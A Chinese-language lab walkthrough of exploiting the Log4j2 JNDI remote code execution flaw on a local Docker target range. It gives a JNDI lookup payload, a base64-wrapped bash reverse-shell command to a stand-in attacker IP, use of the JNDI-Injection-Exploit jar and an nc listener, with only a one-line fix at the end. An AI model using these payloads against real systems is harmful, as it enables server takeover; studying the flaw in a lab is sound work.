2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
漏洞适用版本:2.0 <= Apache log4j2 <= 2.14.1
JNDI(Java Naming and Directory Interface,JAVA命名和目录接口):它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI下面有很多目录接口,用于不同的数据源的查找引用。
JNDI可以使用相应目录接口请求普通数据,还可以请求Java对象。而且JNDI支持以命名引用(Naming References)的方式去远程下载一个class文件,然后加载该class文件并构建对象。若下载的是攻击者构建的含有恶意代码的class文件,则会在加载时执行恶意代码。
在这些目录接口中我们可以使用LDAP或RMI去下载远程主机上的class文件。
LDAP(轻型目录访问协议):是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。
RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。
环境:
被攻击服务器:CentOS7 192.168.217.140
靶场环境:vulfocus/log4j2-rce-2021-12-09
攻击主机:kali 192.168.217.141
JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar ,Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit · GitHub
使用docker部署log4j2 漏洞靶场
拉取log4j2 漏洞的靶场镜像
docker pull vulfocus/log4j2-rce-2021-12-09
查询已经docker成功安装的镜像
docker images
创建容器,并直接运行,将容器的8080端口映射到宿主机上,这里端口可以随意指定
docker run -tid -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
然后直接访问本地的8080端口,会出现一个简单的web页面
接下来进入http://www.dnslog.cn/,申请个子域名进行测试
申请到了子域名后,直接更换url地址中的payload为${jndi:ldap://kuromi.fr9asq.dnslog.cn}
,后面为自己申请的子域名
这里直接执行会报错400的错误,所以需要将后面的部分进行url编码
编码完成后,再次点击,发现在转圈,查看DNSLog的DNS查询记录,出现payload中的字段说明测试成功。 Apache向我们指定的地址发起了请求,
再使用kali进行进一步利用
利用JNDI注入反弹shell,并将命令进行base64编码,不然可能会报错
bash -i >& /dev/tcp/攻击主机IP/端口 0>&1
然后使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用,将上述base64编码结果填入指 定位置,指定kali的IP,启动服务。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码后的shell}|{base64,-d}|{bash,-i}" -A 攻击主机IP
这里选择中间的JDK,复制url地址后,然后填写在payload处,同时使用nc -lvp 520 kali上开启监听端口
最终的请求构造为这样,需要将=后面的进行url转码,然后发送
发送完成后,浏览器会转圈,表示正在访问在kali上开启的RMI服务。 这里返回kali查看,成功反弹shell
升级log4j2到最新版本,修复后的log4j2在Jndi Lookup中增加了一些限制